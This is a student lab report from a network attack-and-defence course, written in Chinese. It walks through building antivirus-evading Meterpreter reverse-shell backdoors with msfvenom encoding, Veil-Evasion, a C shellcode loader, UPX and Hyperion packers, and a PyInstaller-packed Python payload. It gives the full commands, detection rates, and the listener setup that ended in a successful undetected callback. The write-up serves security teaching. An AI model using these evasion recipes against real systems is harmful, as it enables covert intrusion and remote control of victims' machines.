当前位置: 首页 > news >正文

20232324 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1实验目标


理解恶意代码免杀原理,掌握 msf 编码器、Veil-Evasion 工具、C+Shellcode 编程等免杀技术,生成能规避杀毒软件的恶意程序,并通过本地杀软共生验证、跨电脑实测,确保程序可正常运行且成功回连控制端。

1.2技术原理


具体实现上,可通过 msf 编码器混淆 Shellcode 特征、Veil-Evasion 重构代码结构 + 加壳工具掩盖程序原始信息、C 语言作为载体隐藏 Shellcode 等方式达成免杀,也可组合多种技术进一步降低检测率,本质都是破坏杀毒软件的静态特征匹配逻辑、规避动态行为监测规则。

1.3基础问题


  • 杀软是如何检测出恶意代码的?
    • 特征码检测,杀毒软件比对程序代码与特征库,吻合则判定为病毒。
    • 启发式恶意软件检测,程序特征、行为与病毒的相似度达标,即判定为病毒。
    • 基于行为检测,单纯监测程序运行行为,出现恶意行为就判定为恶意代码。
  • 免杀是做什么?
    • 免杀是指一种技术,旨在使恶意软件能够绕过或规避杀毒软件的检测。这种技术通常通过各种手段来掩盖恶意代码的真实性质,从而避免被安全软件发现和拦截。
  • 免杀的基本方法有哪些?
    • 特征码修改,通过修改病毒或木马的特征码,使其不被杀毒软件识别。
    • 源码免杀,对有源码的程序进行修改,以规避杀毒软件的检测。
    • 加载器技术,使用加载器将有效载荷与主程序分离,从而实现免杀。
    • DLL操作,通过对DLL的加载和操作,使用全局钩子等技术来实现免杀。
    • 混淆与加密,对上传的webshell进行混淆和加密,以避免被检测。

2.实验过程

2.1使用msf编码器


实验准备:

  • 免杀效果平台
    image
  • 生成一个后门程序(基础版)
    1.在kali中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 -f exe > exp3_20232324.exe生成一个针对 64 位 Windows 系统的 Meterpreter 反向 TCP 连接 payload。(参数在实验二中有解释,这里就不再赘述了)
    33d22c738ef0d92cc15206b8d9d8a834
    2.使用VirScan检测该文件的安全性
    image

2.1.1生成exe文件和编码的exe文件

生成一个经过编码处理的 32 位 Windows 系统 Meterpreter 反向 TCP 连接 payload后门程序,并保存为 EXE 文件

①在kali中输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.81.132 LPORT=2324 -f exe > exp32111_20232324.exe

-e:指定编码器
x86/shikata_ga_nai:Metasploit 中常用的 32 位编码器
-b:指定需要规避的 “坏字符”
\x00:表示空字节。空字节在部分系统或程序中可能被视为字符串结束符,导致 payload 执行异常。
-f:指定输出文件格式
exe:表示生成 Windows 可执行文件。

48e5fddeeb9f2bcc5d8aafca4323ee6b

image

②在kali中输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.81.132 LPORT=2324 -f exe > exp32112_20232324.exe

-i 10 表示指定编码器对 payload 的迭代编码次数为 10 次

5cddbb85636062c17b5d8d8a31467759

image

2.1.2生成jar文件和编码的jar文件

生成一个适用于 Java 环境 的 Meterpreter 反向 TCP 连接 payload,并保存为 JAR 格式文件。再生成一个编码的Java文件。

①在kali中输入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 > exp32121_20232324.jar

java:表示该 payload 基于 Java 字节码,依赖 Java 虚拟机

35801a1b3bcbe2ee6c58137ba80e6c69

image

②在kali中输入msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.81.132 LPORT=2324 > exp32122_20232324.jar
cd351744c0932ecb857c29d90eb2aa01

image

2.1.3生成php文件和编码的php文件

生成一个适用于 PHP 环境 的 Meterpreter 反向 TCP 连接 payload,并保存为 PHP 脚本文件。再生成一个编码的php文件。

①在kali中输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 > exp32131_20232324.php生成php文件。

750ef6b8aea3616dca33594dad799558

image

②在kali中输入msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.81.132 LPORT=2324 > exp32132_20232324.php

PHP 是一种广泛用于 Web 开发的服务器端脚本语言,主要作用是在服务器上处理数据、生成动态网页内容,或与数据库交互,最终将处理结果返回给用户的浏览器

ad879fec3cefe951c36eb49cd2566a1c

image

2.1.4分析

  • 文件编码或者不编码检测到的概率相差不大

是因为编码主要针对静态特征,但动态行为和架构特征难以完全掩盖,因此编码对检测率的降低效果有限。

  • PHP 检出率远低于 EXE/JAR

①PHP 是文本型脚本,毒引擎对 “文本脚本” 的静态检测难度极高;EXE/JAR:二进制 / 字节码,特征易被识别
②EXE/JAR 的恶意行为是 “原生暴露” 的;PHP 的恶意行为是 “间接封装” 的。

  • 为什么在virscan网站jar和exe文件检测率相似,但是在virustotal检测率会相差很大。

①VirSCAN 因引擎数量少、覆盖范围有限,可能 “模糊” 了 JAR 和 EXE 的检测差异;而 VirusTotal 凭借更庞大的引擎库和更全面的检测技术,能清晰体现出 EXE和 JAR的本质区别。
②不同同学实验时的 payload 参数(如LHOST、LPORT)、编码方式,以及检测时间都会导致结果差异。
exeimagejar
image

2.2veil-evasion


Veil 是一款主要用于网络安全渗透测试领域的免杀 payload 生成框架,其核心功能是通过对恶意代码进行混淆、加密、变形等处理,生成能够规避杀毒软件、入侵检测系统等安全工具检测的攻击载荷,便于在授权测试中验证目标系统的防御能力。

2.2.1环境准备

1.下载veil工具

在kali中输入
sudo apt update
sudo apt -y install veil

-y:自动确认安装过程中的所有提示

a26a4eb0649374d27282eb216b979127

2.配置或初始化 Veil 工具
(这里起码等了“十年”,千万不要中途关掉了,很慢是正常的)执行以下命令的目的是确保Veil框架能正常运行,为后续生成免杀payload做好环境准备。

在kali中输入
/usr/share/veil/config/setup.sh --force --silent

setup.sh 是 Veil 工具的配置脚本
--force(强制模式)强制执行配置过程,忽略部分确认提示或已存在的配置文件。
--silent(静默模式)以无交互方式运行脚本,不输出过多日志信息,仅在必要时显示关键错误或进度。

eedddfc5b6474cd505717ab8f557121a
fccbbd72dea1f3c25755e2c2926d3c9e

(终于看到“done!”了,有个小报错是在安装 Python 库 pefile 时出现了故障,但问题不大,不影响生成这种比较基础的payload,如果后续要对Windows可执行文件进行结构级的混淆、修改,缺少pefile会导致相关功能失效,此时影响较大。)

2.2.2使用veil生成可执行文件

1.选择工具模块

  • 在kali中输入veil,进入veil工具平台;
  • 再输入use 1选择Evasion用于生成 “免杀 payload” 的工具模块

86fe41444908cae1943f8a377166b367

2.选择载荷种类

  • 输入list,查看载荷种类
  • 再输入use 7,选择c/meterpreter/rev_tcp.py一个基于C语言实现的、用于建立Meterpreter反向TCP连接的免杀payload

0ee562eac03476c7b2ea827dbdb9dc19
image

3.配置生成文件信息

在kali中输入

  • set LHOST 192.168.81.132设置用于接收目标主机的回连的ip地址
  • set LPORT 2324设置于监听连接的端口
  • generate触发 Veil-Evasion 模块生成 payload
  • exp322_20232324设置文件名

image

2.2.3检测免杀情况

按照上文的路径/var/lib/veil/output/complied/exp322_20232324.exe,找到程序所在目录
41e569a9348eccfdc091654aedfcb660
我们可以看到这里检测率为11/48,所以使用veil工具免杀效果较好
image

2.3使用C + shellcode编程


2.3.1生成C语言格式shellcode

1.生成C语言格式shellcode

在kali中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 -f c

-f c:指定输出格式为C语言,生成的shellcod 会以C数组的形式呈现,便于嵌入到C程序中编译成可执行文件。

image

2.添加主函数
添加main函数是为了将“纯 shellcode指令”转化为“可编译、可执行、可定制的C程序”。

  • 在kali中输入vi exp323_20232324.c创建并打开一个新的 C 文件
  • 粘贴msfvenom生成的 payload 代码
  • 在payload代码下方,添加用于调用shellcode的 main 函数:
int main() {int (*func)() = (int(*)())buf;func();
}

be6c8c2e00f05b92e0ab97d0f6b17cfb

3.C文件编译为可执行文件

在kali中输入i686-w64-mingw32-g++ exp323_20232324.c -o exp323_20232324.exe

i686-w64-mingw32-g++:是MinGW-w64工具链中的 C++ 编译器,用于在Linux环境下交叉编译出能在 indows系统运行的可执行文件。

image

2.3.2检测免杀情况

检测率10/48,免杀效果比veil工具和基准exe文件要好,因为C 语言的“底层封装”隐藏了原始 shellcode 特征,以及使用的i686-w64-mingw32-g++是交叉编译,特征更难被匹配
image

2.4加壳工具


加壳工具是对可执行文件如进行 “包装保护” 的工具,核心是通过加密、压缩、混淆等技术,给原始文件套一层 “壳”,既能隐藏文件真实结构,又能实现保护或规避检测的目的,常见于软件保护和恶意代码免杀场景。

2.4.1使用压缩壳UPX

UPX是一款开源的通用压缩壳工具,主要用于压缩可执行文件压缩后的文件会改变原始特征,可能绕过杀毒软件的静态特征检测。

1.这行命令用于对恶意可执行文件进行upx加壳
upx exp323_20232324.exe -o exp3241_20232324.exe

upx:调用 UPX 工具的命令。

image

2.检测免杀情况
9/48,免杀效果较好。首先多数引擎不会仅因“文件被UPX压缩”就标记为恶意,而是会尝试脱壳后检测原始文件。UPX压缩会改变原始文件的字节分,即使脱壳,部分静态特征可能因压缩 / 解压过程被轻微破坏。
image

2.4.2使用加密壳Hyperion

1.将原始文件exp323_20232324.exe复制到Hyperion工具的工作目录

在kali中输入cp exp323_20232324.exe /usr/share/windows-resources/hyperion/

2.切换当前工作目录到Hyperion的工作目录

在kali中输入通过命令cd /usr/share/windows-resources/hyperion

3.通过Wine调用Hyperion工具

在kali中输入wine hyperion.exe -v exp323_20232324.exe exp3242_20232324.exe

wine:在Linux中运行Windows程序的工具
hyperion.exe:Hyperion加密壳的可执行程序。
-v:Hyperion的详细输出参数,执行时会显示加密过程的日志信息。
exp323_20232324.exe:待加密的原始文件。
exp3242_20232324.exe:加密加壳后的输出文件名。

image

4.检测免杀情况
19/48相较于压缩壳,免杀效果差很多。

  • Hyperion 的解密代码通常包含反调试、内存解密等行为,这些行为是安全引擎重点监控的 “恶意壳特征”,即使未脱壳,引擎也可能直接因这些行为标记文件。
  • Hyperion是恶意代码常用的加密壳,容易被识别出。
  • 除此之外脱壳难度低,原始特征易暴露。
    image

2.5msfvenom工具与加壳技术组合使用


1.使用msfvenom工具来生成一个攻击载荷

  • 使用msfvenom生成一个适用于Windows系统的Meterpreter反向连接payload
  • 通过指定编码算法shikata_ga_nai进行10次迭代编码
  • 去除空字节\x0
  • 最终以C语言数组格式输出到exp3251_20232324.c文件中

在kali中输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.81.132 LPORT=2324 -f c > exp3251_20232324.c

239ca1495f68f6cc42db9a5f9d0a92d1

2.添加main函数
使用vi编辑器,进入exp3251_20232324.c文件,添加以下主函数

int main(){ int (*func)() = (int(*)())buf; func(); }

9f7c147239d2405598e7dc677eee3108

cf520bcc7d7ab2980d404a0255bd7d77

3.将C文件编译为可执行文件

在kali中输入i686-w64-mingw32-g++ exp3251_20232324.c -o exp3251_20232324.exe

4873e5ae35978d16ac70483c1bd4d8fd

3.使用upx加一层压缩壳

在kali中输入upx exp3251_20232324.exe -o exp3252_20232324.exe

7459cdd504c8fbcdd0a8c1acc78b333b

4.使用hyperion加一层加密壳

在kali中输入wine hyperion.exe -v exp3252_20232324.exe exp3253_20232324.exe

8f2e772a331438f96af7c3f653e71407

5.检测免杀效果

  • virscan检测率为18/48,可以看出免杀效果并不好,主要原因还是在于我使用了加密壳,Hyperion是恶意代码常用的加密壳,其加密算法、壳代码的特征已被多数安全厂商加入 “恶意壳特征库”。
  • 杀毒软件没有识别出来是因为我生成的文件可能通过编码混淆、加壳、结构修改等免杀手段,恰好绕过了该杀毒软件的检测逻辑。 并且“定制化免杀样本”,传播量小、特征独特,可能未被纳入该杀毒软件的“重点检测名单”。
    image
    image
    不使用加密壳,virscan检测率为4/48
    image

2.6

  • 最后回连的后门程序是没有使用加密壳的exp3252_20232324.exe,但是只要我开始运行之后,杀毒软件就能立马发现。
    image
  • 而后我又尝试了使用老版本的windows虚拟机实验,但因生成的可执行文件依赖MinGW的运行时库libgcc_s_dw2-1.dll,而目标Windows系统中没有该库。
    0b9f2f8bbda5378f0d560943dc7a0a36
  • 所以我最后采取的方法是通过python生成一个后门程序,然后进行回连。

1.生成一个基于Python的反向TCP Meterpreter后门脚本

在kali中输入msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.81.132 LPORT=2324 -f raw >20232324_shellcode_python.py

-p:指定要生成的Payload类型。
python:Payload基于Python语言编写,可嵌入Python脚本;
f raw:指定Payload的输出格式为“原始raw”,确保生成的内容可直接写入Python文件,无额外格式干扰。 

image
2.将后门脚本打包成可执行文件

  • 安装Python(安装时勾选 “Add Python to PATH” 选项),我选的是3.11.0版本,版本太高容易与生成的文件不兼容。
  • 安装PyInstaller,在cmd输入命令pip install pyinstaller
  • 将后门脚本打包成可执行文件,在cmd输入命令pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232324_shellcode_python.py
-F:打包后只会生成一个独立的.exe 文件,而非多个文件和文件夹.
-w:指定 “窗口模式”。运行生成的.exe 时不显示命令行黑窗口(避免暴露程序运行痕迹,适合后门等不需要控制台输出的场景)。
以下 4 个模块是后门脚本依赖的,必须手动包含,否则打包后的 .exe 运行时会报错 “ModuleNotFoundError: No module named 'xxx'”:
--hidden-import=getpass:确保包含 getpass 模块,用于隐蔽地获取用户输入。
--hidden-import=code:确保包含code模块,用于动态执行代码。
--hidden-import=platform:确保包含platform模块,用于获取目标主机的系统信息。
--hidden-import=shlex:确保包含 shlex 模块,用于解析命令行参数。
20232324_shellcode_python.py:这是要打包的Python源文件的文件名。

image
image
3..配置监听信息

Metasploit框架中配置并启动一个 “反向连接监听器” 的完整流程,等待目标主机上的Python 后门程序动连接,从而建立控制会话。在kali中输入以下命令:
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set LHOST 192.168.81.132
set LPORT 2324
exploit

image
4.运行20232324_shellcode_python.exe

image
使用杀毒软件扫描也没有被发现,好耶!
image

3.问题及解决方案

  • 问题1:为什么exe文件和jar文件在virscan检测率相同

    • 问题1解决方案:①VirSCAN 因引擎数量少、覆盖范围有限,可能 “模糊” 了 JAR 和 EXE 的检测差异;而 VirusTotal 凭借更庞大的引擎库和更全面的检测技术,能清晰体现出 EXE和 JAR的本质区别。②不同同学实验时的 payload 参数(如LHOST、LPORT)、编码方式,以及检测时间都会导致结果差异。
  • 问题2:为什么使用加密壳后检测率为18/48却没有被识别出来

    • 问题2解决方案:杀毒软件没有识别出来是因为我生成的文件可能通过编码混淆、加壳、结构修改等免杀手段,恰好绕过了该杀毒软件的检测逻辑。 并且“定制化免杀样本”,传播量小、特征独特,可能未被纳入该杀毒软件的“重点检测名单”。
  • 问题3:回连失败

    • 问题3解决方案:单纯扫描不会被杀毒软件发现,但只要一运行,杀毒软件就能立马发现(检测率为4/48)。我尝试在旧版本Windows虚拟机上运行,但出现了缺少库的问题。所以最后尝试生成python后门程序。(没有被发现的原因是:静态上,其文本格式无二进制特征码,加混淆或打包隐藏依赖后更难被特征匹配;动态上,无明显恶意行为或带反沙箱逻辑,且杀软对 Python 脚本的监控优先级较低,最终被放行。)

4.学习感悟、思考等

本次实验除了最后运行并回连,都较为顺利。我学会了各种各样增强免杀效果的方法,如编码(其实效果不是很强)、生成不同格式的文件(php,c,py,exe)、加壳,对msf工具的使用也越来越熟悉。
不同的检测网站,因其记录库不同,所以检测率并不是非常精确,不能全面的展示免杀效果。而且并不是使用了某一个特别好的免杀方法,就不会被发现,比如加密壳,只要杀毒软件有广泛记录库就能被识别出来。
另一个给我的直观感受是杀毒软件却是很有用,虽然单纯的快速扫描无法找到已有的后门程序,但是只要我开启了实时保护,我从虚拟机传输新的后门程序或者运行原来的后门程序都会被识别出来。

参考资料

  • 20232409 2025-2026-1 《网络与系统攻防技术》实验三实验报告
  • 618907814lyy
http://www.hskmm.com/?act=detail&tid=39664

相关文章:

  • 密码学学习
  • 电脑文件系统整理概要
  • 为自己读书
  • Boost.asio中的协程队列库
  • 第6天(简单题中等题 不定长滑动窗口)
  • 代码大全阅读笔记
  • 主动求索:大学生应掌控学习与时间
  • 沉入 遗忘 海底 躲进 存在感的盲区 kill my memory 请把项上垃圾移去
  • 2025.10.25 测试 广二 + 梦熊
  • Serilog 日志库的简介
  • 2025东莞环评公司/环评手续/环评报告/环评验收推荐:广东三洁环保,专业高效,合规保障
  • word文档使用技巧----一键插入题注
  • 再见 懦弱者的泪滴 善恶判断舍弃 永别 那廉价的正义
  • 变盲从为探索:专注听课
  • 以听为基,以做为翼
  • 【CI130x-离在线】FreeRTOS的信号量
  • 践行 “学思行”,解锁学习新境界
  • 【ArcMap】按属性表复制字段并上移一段距离
  • CF1060
  • 以专注筑基,以实践致远
  • 2025.10.24 测试
  • 102302139 尚子骐 数据采集与融合作业1
  • CF1152F2 Neko Rules the Catniverse (Large Version) 题解
  • Audacity:开源音频编辑器的完整指南
  • 123456789
  • 【CI130x】音频传输的数据结构——FreeRTOS的消息队列
  • 量子力学作业3
  • #20232408 2025-2026-1 《网络系统与攻防技术》实验三实验报告 - 20232408
  • C_结构体学习_1
  • 嵌入式音频开发很好的博主